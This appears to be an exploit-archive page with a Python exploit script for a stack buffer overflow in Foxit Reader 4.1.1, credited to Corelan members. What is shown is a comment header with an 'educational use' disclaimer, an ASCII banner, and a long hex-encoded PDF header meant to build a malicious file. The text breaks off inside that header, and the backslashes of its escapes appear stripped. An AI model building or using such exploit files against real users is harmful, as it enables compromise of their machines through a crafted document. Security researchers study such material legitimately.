[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Foxit Reader 4.1.1 Stack Buffer Overflow Exploit
# Published : 2010-11-14
# Author : Sud0
# Previous Title : Realtek Audio Control Panel 1.0.1.65 Exploit
# Next Title : Free WMA MP3 Converter 1.1 Buffer Overflow Exploit (SEH)


#***********************************************************************************
# Exploit Title : Foxit 4.1.1 
# Date          : 13/11/2010
# Author        : Sud0
# Bug found by  : dookie
# Original POC 	: https://www.exploit-db.com/exploits/15514/
# Software Link : http://www.foxitsoftware.com/downloads/index.php
# Version       : 4.1.1
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : EIP / SEH
# Thanks to my wife for her support
# Greetz to: Corelan Security Team
# Greetz to: dookie for finding the bug
# Thanks to offsec for the Exploit Week End challenge
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# writeup : http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
#***********************************************************************************
#code :
print "|------------------------------------------------------------------|"
print "|                         __               __                      |"
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |"
print "|  / ___/ __ / ___/ _ / / __ `/ __    / __/ _ / __ `/ __ `__  |"
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |"
print "| ___/____/_/   ___/_/__,_/_/ /_/   __/___/__,_/_/ /_/ /_/  |"
print "|                                                                  |"
print "|                                       http://www.corelan.be:8800 |"
print "|                                              security@corelan.be |"
print "|                                                                  |"
print "|-------------------------------------------------[ EIP Hunters ]--|"
print "[+] Exploit for Foxit reader 4.1.1 n";

# BIG header, i took a long header from the contest
header ="x25x50x44x46x2Dx31x2Ex34x0Dx0Ax25xE2xE3xCFxD3x0D" 
header +="x0Ax38x31x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx4Cx69" 
header +="x6Ex65x61x72x69x7Ax65x64x20x31x2Fx4Cx20x32x31x33" 
header +="x37x35x36x2Fx4Fx20x38x33x2Fx45x20x31x34x31x36x33" 
header +="x31x2Fx4Ex20x32x31x2Fx54x20x32x31x32x30x38x39x2F" 
header +="x48x20x5Bx20x31x32x31x36x20x36x39x39x5Dx3Ex3Ex0D" 
header +="x0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax20x20x20x20x20x20x20" 
header +="x20x20x20x20x20x20x0Dx0Ax78x72x65x66x0Dx0Ax38x31" 
header +="x20x34x36x0Dx0Ax30x30x30x30x30x30x30x30x31x36x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x30x31" 
header +="x39x31x35x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x30x30x32x30x38x34x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x30x30x32x33x31x31x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x30x32x33x36x33x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x30x32" 
header +="x34x37x30x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x30x32x33x37x37x30x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x30x32x33x39x35x37x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x32x34x35x30x33x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x32x34" 
header +="x38x38x33x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x30x34x38x36x38x38x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x30x34x38x38x37x30x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x34x39x34x39x30x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x34x39" 
header +="x39x34x32x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x30x35x30x34x38x31x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x30x35x30x39x33x34x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x35x31x33x37x30x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x35x31" 
header +="x38x33x38x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x30x35x32x32x39x30x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x30x35x32x38x35x37x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x35x33x33x31x34x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x35x33" 
header +="x35x32x36x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x30x37x32x36x35x39x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x30x37x32x38x35x33x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x37x33x34x30x31x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x37x33" 
header +="x37x38x36x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x30x37x35x32x32x38x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x30x37x35x34x31x33x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x37x35x37x30x35x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x37x35" 
header +="x38x36x31x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x30x37x36x30x35x39x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x30x37x36x35x36x35x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x37x36x39x31x34x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x39x32" 
header +="x31x35x32x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x30x39x32x33x34x32x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x30x39x33x30x31x33x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x30x39x33x35x32x32x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x31x30x36" 
header +="x33x37x31x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x31x30x36x35x36x36x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x31x30x37x31x38x31x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x31x30x37x36x33x35x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x31x31x39" 
header +="x35x38x36x20x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30" 
header +="x30x31x31x39x37x38x37x20x30x30x30x30x30x20x6Ex0D" 
header +="x0Ax30x30x30x30x31x32x30x33x30x36x20x30x30x30x30" 
header +="x30x20x6Ex0Dx0Ax30x30x30x30x31x32x30x36x37x39x20" 
header +="x30x30x30x30x30x20x6Ex0Dx0Ax30x30x30x30x30x30x31" 
header +="x32x31x36x20x30x30x30x30x30x20x6Ex0Dx0Ax74x72x61" 
header +="x69x6Cx65x72x0Dx0Ax3Cx3Cx2Fx53x69x7Ax65x20x31x32" 
header +="x37x2Fx50x72x65x76x20x32x31x32x30x37x38x2Fx52x6F" 
header +="x6Fx74x20x38x32x20x30x20x52x2Fx49x6Ex66x6Fx20x38" 
header +="x30x20x30x20x52x2Fx49x44x5Bx3Cx38x44x36x41x44x44" 
header +="x32x41x31x45x30x36x35x46x38x32x45x31x46x43x32x34" 
header +="x44x31x30x31x33x32x32x46x44x45x3Ex3Cx30x46x30x33" 
header +="x32x41x42x33x42x30x36x39x43x38x34x30x38x36x37x42" 
header +="x41x32x39x45x42x42x41x36x41x44x32x30x3Ex5Dx3Ex3E" 
header +="x0Dx0Ax73x74x61x72x74x78x72x65x66x0Dx0Ax30x0Dx0A" 
header +="x25x25x45x4Fx46x0Dx0Ax20x20x20x20x20x20x20x20x20" 
header +="x20x20x0Dx0Ax38x32x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3C" 
header +="x2Fx56x69x65x77x65x72x50x72x65x66x65x72x65x6Ex63" 
header +="x65x73x3Cx3Cx2Fx44x69x73x70x6Cx61x79x44x6Fx63x54" 
header +="x69x74x6Cx65x20x74x72x75x65x3Ex3Ex2Fx4Fx75x74x6C" 
header +="x69x6Ex65x73x20x35x34x20x30x20x52x2Fx4Dx65x74x61" 
header +="x64x61x74x61x20x37x39x20x30x20x52x2Fx50x61x67x65" 
header +="x73x20x37x38x20x30x20x52x2Fx4Fx70x65x6Ex41x63x74" 
header +="x69x6Fx6Ex5Bx38x33x20x30x20x52x2Fx58x59x5Ax20x6E" 
header +="x75x6Cx6Cx20x6Ex75x6Cx6Cx20x30x5Dx2Fx54x79x70x65" 
header +="x2Fx43x61x74x61x6Cx6Fx67x2Fx4Cx61x6Ex67x28x65x6E" 
header +="x2Dx55x53x29x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0A" 
header +="x38x33x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx43x72x6F" 
header +="x70x42x6Fx78x5Bx30x20x30x20x36x31x32x20x37x39x32" 
header +="x5Dx2Fx50x61x72x65x6Ex74x20x37x38x20x30x20x52x2F" 
header +="x43x6Fx6Ex74x65x6Ex74x73x5Bx39x34x20x30x20x52x20" 
header +="x39x35x20x30x20x52x20x39x36x20x30x20x52x20x39x37" 
header +="x20x30x20x52x20x39x38x20x30x20x52x20x39x39x20x30" 
header +="x20x52x20x31x30x30x20x30x20x52x20x31x30x31x20x30" 
header +="x20x52x5Dx2Fx52x6Fx74x61x74x65x20x30x2Fx47x72x6F" 
header +="x75x70x3Cx3Cx2Fx49x20x74x72x75x65x2Fx43x53x2Fx44" 
header +="x65x76x69x63x65x52x47x42x2Fx53x2Fx54x72x61x6Ex73" 
header +="x70x61x72x65x6Ex63x79x3Ex3Ex2Fx4Dx65x64x69x61x42" 
header +="x6Fx78x5Bx30x20x30x20x36x31x32x20x37x39x32x5Dx2F" 
header +="x52x65x73x6Fx75x72x63x65x73x20x38x34x20x30x20x52" 
header +="x2Fx54x79x70x65x2Fx50x61x67x65x3Ex3Ex0Dx0Ax65x6E" 
header +="x64x6Fx62x6Ax0Dx0Ax38x34x20x30x20x6Fx62x6Ax0Dx0A" 
header +="x3Cx3Cx2Fx46x6Fx6Ex74x20x38x35x20x30x20x52x2Fx50" 
header +="x72x6Fx63x53x65x74x5Bx2Fx50x44x46x2Fx54x65x78x74" 
header +="x5Dx3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax38x35x20" 
header +="x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx46x31x20x38x39x20" 
header +="x30x20x52x2Fx46x32x20x39x33x20x30x20x52x2Fx46x33" 
header +="x20x31x30x35x20x30x20x52x2Fx46x34x20x31x30x39x20" 
header +="x30x20x52x2Fx46x35x20x31x31x32x20x30x20x52x2Fx46" 
header +="x36x20x31x31x36x20x30x20x52x2Fx46x37x20x31x32x30" 
header +="x20x30x20x52x2Fx46x38x20x31x32x34x20x30x20x52x3E" 
header +="x3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax38x37x20x30x20" 
header +="x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x74x65x6Dx56x20x38x30" 
header +="x2Fx46x6Fx6Ex74x4Ex61x6Dx65x2Fx42x41x41x41x41x41" 
header +="x2Bx41x72x69x61x6Cx2Dx42x6Fx6Cx64x4Dx54x2Fx46x6F" 
header +="x6Ex74x46x69x6Cx65x32x20x38x36x20x30x20x52x2Fx46" 
header +="x6Cx61x67x73x20x34x2Fx44x65x73x63x65x6Ex74x20x2D" 
header +="x32x31x31x2Fx46x6Fx6Ex74x42x42x6Fx78x5Bx2Dx36x32" 
header +="x37x20x2Dx33x37x36x20x32x30x33x32x20x31x30x34x37" 
header +="x5Dx2Fx41x73x63x65x6Ex74x20x39x30x35x2Fx43x61x70" 
header +="x48x65x69x67x68x74x20x31x30x34x37x2Fx54x79x70x65" 
header +="x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74x6Fx72x2F" 
header +="x49x74x61x6Cx69x63x41x6Ex67x6Cx65x20x30x3Ex3Ex0D" 
header +="x0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax38x39x20x30x20x6Fx62" 
header +="x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79x70x65x2Fx54x72" 
header +="x75x65x54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72" 
header +="x69x70x74x6Fx72x20x38x37x20x30x20x52x2Fx4Cx61x73" 
header +="x74x43x68x61x72x20x35x37x2Fx57x69x64x74x68x73x5B" 
header +="x37x35x30x20x36x36x36x20x37x32x32x20x36x36x36x20" 
header +="x36x31x30x20x37x37x37x20x37x32x32x20x32x37x37x20" 
header +="x37x32x32x20x36x36x36x20x32x37x37x20x37x32x32x20" 
header +="x36x36x36x20x33x33x33x20x36x31x30x20x37x32x32x20" 
header +="x36x31x30x20x36x36x36x20x36x31x30x20x35x35x36x20" 
header +="x33x33x33x20x33x38x39x20x35x35x36x20x35x35x36x20" 
header +="x35x35x36x20x36x31x30x20x36x31x30x20x37x37x37x20" 
header +="x32x37x37x20x35x35x36x20x36x31x30x20x36x31x30x20" 
header +="x38x38x39x20x37x32x32x20x35x35x36x20x33x33x33x20" 
header +="x37x32x32x20x35x35x36x20x36x31x30x20x32x37x37x20" 
header +="x35x35x36x20x38x33x33x20x33x33x33x20x35x35x36x20" 
header +="x36x31x30x20x36x31x30x20x36x31x30x20x32x37x37x20" 
header +="x35x35x36x20x35x35x36x20x37x37x37x20x35x35x36x20" 
header +="x35x35x36x20x33x33x33x20x33x33x33x20x32x37x37x20" 
header +="x35x35x36x20x35x35x36x5Dx2Fx42x61x73x65x46x6Fx6E" 
header +="x74x2Fx42x41x41x41x41x41x2Bx41x72x69x61x6Cx2Dx42" 
header +="x6Fx6Cx64x4Dx54x2Fx46x69x72x73x74x43x68x61x72x20" 
header +="x30x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x38x38x20x30" 
header +="x20x52x2Fx54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0A" 
header +="x65x6Ex64x6Fx62x6Ax0Dx0Ax39x31x20x30x20x6Fx62x6A" 
header +="x0Dx0Ax3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46x6F" 
header +="x6Ex74x4Ex61x6Dx65x2Fx43x41x41x41x41x41x2Bx41x72" 
header +="x69x61x6Cx4Dx54x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20" 
header +="x39x30x20x30x20x52x2Fx46x6Cx61x67x73x20x34x2Fx44" 
header +="x65x73x63x65x6Ex74x20x2Dx32x31x31x2Fx46x6Fx6Ex74" 
header +="x42x42x6Fx78x5Bx2Dx36x36x34x20x2Dx33x32x34x20x32" 
header +="x30x32x37x20x31x30x33x37x5Dx2Fx41x73x63x65x6Ex74" 
header +="x20x39x30x35x2Fx43x61x70x48x65x69x67x68x74x20x31" 
header +="x30x33x37x2Fx54x79x70x65x2Fx46x6Fx6Ex74x44x65x73" 
header +="x63x72x69x70x74x6Fx72x2Fx49x74x61x6Cx69x63x41x6E" 
header +="x67x6Cx65x20x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D" 
header +="x0Ax39x33x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75" 
header +="x62x74x79x70x65x2Fx54x72x75x65x54x79x70x65x2Fx46" 
header +="x6Fx6Ex74x44x65x73x63x72x69x70x74x6Fx72x20x39x31" 
header +="x20x30x20x52x2Fx4Cx61x73x74x43x68x61x72x20x37x36" 
header +="x2Fx57x69x64x74x68x73x5Bx37x35x30x20x36x36x36x20" 
header +="x32x32x32x20x35x35x36x20x35x30x30x20x35x30x30x20" 
header +="x32x37x37x20x37x32x32x20x32x37x37x20x37x32x32x20" 
header +="x36x36x36x20x36x36x36x20x35x35x36x20x35x35x36x20" 
header +="x35x35x36x20x39x34x33x20x35x35x36x20x32x32x32x20" 
header +="x35x35x36x20x35x35x36x20x33x33x33x20x35x35x36x20" 
header +="x35x35x36x20x35x35x36x20x35x35x36x20x35x30x30x20" 
header +="x35x30x30x20x35x35x36x20x35x30x30x20x32x37x37x20" 
header +="x37x32x32x20x33x33x33x20x38x33x33x20x33x33x33x20" 
header +="x37x37x37x20x36x36x36x20x33x33x33x20x32x37x37x20" 
header +="x35x35x36x20x37x32x32x20x35x35x36x20x32x37x37x20" 
header +="x35x30x30x20x35x30x30x20x37x32x32x20x36x36x36x20" 
header +="x36x31x30x20x37x32x32x20x36x36x36x20x35x35x36x20" 
header +="x37x32x32x20x32x37x37x20x32x37x37x20x35x35x36x20" 
header +="x35x35x36x20x35x35x36x20x38x33x33x20x35x35x36x20" 
header +="x35x35x36x20x35x35x36x20x32x32x32x20x32x37x37x20" 
header +="x32x37x37x20x35x35x36x20x33x35x34x20x37x37x37x20" 
header +="x36x31x30x20x32x37x37x20x33x33x33x20x33x33x33x20" 
header +="x35x35x36x20x31x39x30x20x31x30x31x35x20x36x36x36" 
header +="x20x38x38x39x20x35x35x36x20x35x30x30x5Dx2Fx42x61" 
header +="x73x65x46x6Fx6Ex74x2Fx43x41x41x41x41x41x2Bx41x72" 
header +="x69x61x6Cx4Dx54x2Fx46x69x72x73x74x43x68x61x72x20" 
header +="x30x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x39x32x20x30" 
header +="x20x52x2Fx54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0A" 
header +="x65x6Ex64x6Fx62x6Ax0Dx0Ax31x30x33x20x30x20x6Fx62" 
header +="x6Ax0Dx0Ax3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46" 
header +="x6Fx6Ex74x4Ex61x6Dx65x2Fx44x41x41x41x41x41x2Bx41" 
header +="x72x69x61x6Cx2Dx49x74x61x6Cx69x63x4Dx54x2Fx46x6F" 
header +="x6Ex74x46x69x6Cx65x32x20x31x30x32x20x30x20x52x2F" 
header +="x46x6Cx61x67x73x20x36x38x2Fx44x65x73x63x65x6Ex74" 
header +="x20x2Dx32x31x31x2Fx46x6Fx6Ex74x42x42x6Fx78x5Bx2D" 
header +="x35x31x37x20x2Dx33x32x34x20x31x30x38x30x20x31x30" 
header +="x32x34x5Dx2Fx41x73x63x65x6Ex74x20x39x30x35x2Fx43" 
header +="x61x70x48x65x69x67x68x74x20x31x30x32x34x2Fx54x79" 
header +="x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74x6F" 
header +="x72x2Fx49x74x61x6Cx69x63x41x6Ex67x6Cx65x20x2Dx33" 
header +="x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x30x35" 
header +="x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79" 
header +="x70x65x2Fx54x72x75x65x54x79x70x65x2Fx46x6Fx6Ex74" 
header +="x44x65x73x63x72x69x70x74x6Fx72x20x31x30x33x20x30" 
header +="x20x52x2Fx4Cx61x73x74x43x68x61x72x20x35x37x2Fx57" 
header +="x69x64x74x68x73x5Bx37x35x30x20x35x30x30x20x35x35" 
header +="x36x20x32x37x37x20x35x35x36x20x32x32x32x20x35x35" 
header +="x36x20x33x33x33x20x35x35x36x20x33x33x33x20x32x37" 
header +="x37x20x32x37x37x20x35x30x30x20x38x33x33x20x33x35" 
header +="x34x20x32x37x37x20x35x35x36x20x35x35x36x20x35x35" 
header +="x36x20x33x33x33x20x35x35x36x20x35x30x30x20x35x35" 
header +="x36x20x32x32x32x20x35x35x36x20x35x35x36x20x33x33" 
header +="x33x20x35x30x30x20x32x37x37x20x33x33x33x20x32x32" 
header +="x32x20x35x30x30x20x36x36x36x20x35x30x30x20x38x33" 
header +="x33x20x35x30x30x20x36x36x36x20x35x35x36x20x32x37" 
header +="x37x20x36x36x36x20x36x36x36x20x32x37x37x20x35x35" 
header +="x36x20x35x35x36x20x35x35x36x20x35x35x36x20x37x32" 
header +="x32x20x35x35x36x20x35x35x36x20x35x35x36x20x37x32" 
header +="x32x20x37x32x32x20x36x36x36x20x36x36x36x20x37x32" 
header +="x32x20x36x36x36x20x35x35x36x20x35x35x36x5Dx2Fx42" 
header +="x61x73x65x46x6Fx6Ex74x2Fx44x41x41x41x41x41x2Bx41" 
header +="x72x69x61x6Cx2Dx49x74x61x6Cx69x63x4Dx54x2Fx46x69" 
header +="x72x73x74x43x68x61x72x20x30x2Fx54x6Fx55x6Ex69x63" 
header +="x6Fx64x65x20x31x30x34x20x30x20x52x2Fx54x79x70x65" 
header +="x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0D" 
header +="x0Ax31x30x37x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53" 
header +="x74x65x6Dx56x20x38x30x2Fx46x6Fx6Ex74x4Ex61x6Dx65" 
header +="x2Fx45x41x41x41x41x41x2Bx4Fx70x65x6Ex53x79x6Dx62" 
header +="x6Fx6Cx2Fx46x6Fx6Ex74x46x69x6Cx65x32x20x31x30x36" 
header +="x20x30x20x52x2Fx46x6Cx61x67x73x20x34x2Fx44x65x73" 
header +="x63x65x6Ex74x20x2Dx32x30x30x2Fx46x6Fx6Ex74x42x42" 
header +="x6Fx78x5Bx2Dx31x37x39x20x2Dx33x31x32x20x31x30x38" 
header +="x32x20x39x31x36x5Dx2Fx41x73x63x65x6Ex74x20x37x39" 
header +="x39x2Fx43x61x70x48x65x69x67x68x74x20x39x31x36x2F" 
header +="x54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70" 
header +="x74x6Fx72x2Fx49x74x61x6Cx69x63x41x6Ex67x6Cx65x20" 
header +="x30x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x30x39" 
header +="x20x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x75x62x74x79" 
header +="x70x65x2Fx54x72x75x65x54x79x70x65x2Fx46x6Fx6Ex74" 
header +="x44x65x73x63x72x69x70x74x6Fx72x20x31x30x37x20x30" 
header +="x20x52x2Fx4Cx61x73x74x43x68x61x72x20x31x2Fx57x69" 
header +="x64x74x68x73x5Bx35x30x30x20x33x35x35x5Dx2Fx42x61" 
header +="x73x65x46x6Fx6Ex74x2Fx45x41x41x41x41x41x2Bx4Fx70" 
header +="x65x6Ex53x79x6Dx62x6Fx6Cx2Fx46x69x72x73x74x43x68" 
header +="x61x72x20x30x2Fx54x6Fx55x6Ex69x63x6Fx64x65x20x31" 
header +="x30x38x20x30x20x52x2Fx54x79x70x65x2Fx46x6Fx6Ex74" 
header +="x3Ex3Ex0Dx0Ax65x6Ex64x6Fx62x6Ax0Dx0Ax31x31x30x20" 
header +="x30x20x6Fx62x6Ax0Dx0Ax3Cx3Cx2Fx53x74x65x6Dx56x20" 
header +="x38x30x2Fx46x6Fx6Ex74x4Ex61x6Dx65x2Fx46x41x41x41" 
header +="x41x41x2Bx41x72x69x61x6Cx2Dx42x6Fx6Cx64x49x74x61" 
header +="x6Cx69x63x4Dx54x2Fx46x6Fx6Ex74x46x69x6Cx65x32x20" 
header +="x31x32x35x20x30x20x52x2Fx46x6Cx61x67x73x20x36x38" 
header +="x2Fx44x65x73x63x65x6Ex74x20x2Dx32x31x31x2Fx46x6F" 
header +="x6Ex74x42x42x6Fx78x5Bx2Dx35x35x39x20x2Dx33x37x36" 
header +="x20x31x31x35x35x20x31x30x33x30x5Dx2Fx41x73x63x65" 
header +="x6Ex74x20x39x30x35x2Fx43x61x70x48x65x69x67x68x74" 
header +="x20x31x30x33x30x2Fx54x79x70x65x2Fx46x6Fx6Ex74x44" 
header +="x65x73x63x72x69x70x74x6Fx72x2Fx49x74x61x6Cx69x63" 
header +="x41x6Ex67x6Cx65x20x2Dx33x30x3Ex3Ex0Dx0Ax65x6Ex64" 
header +="x6Fx62x6Ax0Dx0Ax31x31x32x20x30x20x6Fx62x6Ax0Dx0A" 
header +="x3Cx3Cx2Fx53x75x62x74x79x70x65x2Fx54x72x75x65x54" 
header +="x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70x74" 
header +="x6Fx72x20x31x31x30x20x30x20x52x2Fx4Cx61x73x74x43" 
header +="x68x61x72x20x34x37x2Fx57x69x64x74x68x73x5Bx37x35" 
header +="x30x20x32x37x37x20x35x35x36x20x32x37x37x20x35x35" 
header +="x36x20x36x31x30x20x36x31x30x20x35x35x36x20x35x35" 
header +="x36x20x35x35x36x20x38x38x39x20x36x31x30x20x32x37" 
header +="x37x20x35x35x36x20x36x31x30x20x36x31x30x20x33x38" 
header +="x39x20x36x31x30x20x36x31x30x20x36x31x30x20x37x32" 
header +="x32x20x35x35x36x20x33x33x33x20x35x35x36x20x33x33" 
header +="x33x20x32x37x37x20x35x35x36x20x36x31x30x20x35x35" 
header +="x36x20x36x36x36x20x33x33x33x20x35x35x36x20x35x35" 
header +="x36x20x33x33x33x20x33x33x33x20x32x37x37x20x35x35" 
header +="x36x20x37x32x32x20x35x35x36x20x37x32x32x20x37x37" 
header +="x37x20x35x30x30x20x35x30x30x20x37x32x32x20x37x32" 
header +="x32x20x36x31x30x20x36x36x36x20x37x37x37x5Dx2Fx42" 
header +="x61x73x65x46x6Fx6Ex74x2Fx46x41x41x41x41x41x2Bx41" 
header +="x72x69x61x6Cx2Dx42x6Fx6Cx64x49x74x61x6Cx69x63x4D" 
header +="x54x2Fx46x69x72x73x74x43x68x61x72x20x30x2Fx54x6F" 
header +="x55x6Ex69x63x6Fx64x65x20x31x31x31x20x30x20x52x2F" 
header +="x54x79x70x65x2Fx46x6Fx6Ex74x3Ex3Ex0Dx0Ax65x6Ex64" 
header +="x6Fx62x6Ax0Dx0Ax31x31x34x20x30x20x6Fx62x6Ax0Dx0A" 
header +="x3Cx3Cx2Fx53x74x65x6Dx56x20x38x30x2Fx46x6Fx6Ex74" 
header +="x4Ex61x6Dx65x2Fx47x41x41x41x41x41x2Bx44x65x6Ax61" 
header +="x56x75x53x61x6Ex73x4Dx6Fx6Ex6Fx2Fx46x6Fx6Ex74x46" 
header +="x69x6Cx65x32x20x31x31x33x20x30x20x52x2Fx46x6Cx61" 
header +="x67x73x20x35x2Fx44x65x73x63x65x6Ex74x20x2Dx32x33" 
header +="x35x2Fx46x6Fx6Ex74x42x42x6Fx78x5Bx2Dx35x35x37x20" 
header +="x2Dx33x37x34x20x37x31x36x20x31x30x34x31x5Dx2Fx41" 
header +="x73x63x65x6Ex74x20x39x32x38x2Fx43x61x70x48x65x69" 
header +="x67x68x74x20x31x30x34x31x2Fx54x79x70x65x2Fx46x6F" 
header +="x6Ex74x44x65x73x63x72x69x70x74x6Fx72x2Fx49x74x61" 
header +="x6Cx69x63x41x6Ex67x6Cx65x20x30x3Ex3Ex0Dx0Ax65x6E" 
header +="x64x6Fx62x6Ax0Dx0Ax31x31x36x20x30x20x6Fx62x6Ax0D" 
header +="x0Ax3Cx3Cx2Fx53x75x62x74x79x70x65x2Fx54x72x75x65" 
header +="x54x79x70x65x2Fx46x6Fx6Ex74x44x65x73x63x72x69x70" 
header +="x74x6Fx72x20x31x31x34x20x30x20x52x2Fx4Cx61x73x74" 
header +="x43x68x61x72x20x38x38x2Fx57x69x64x74x68x73x5Bx36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
header +="x30x32x20x36x30x32x20x36x30x32x20x36x30x32x20x36" 
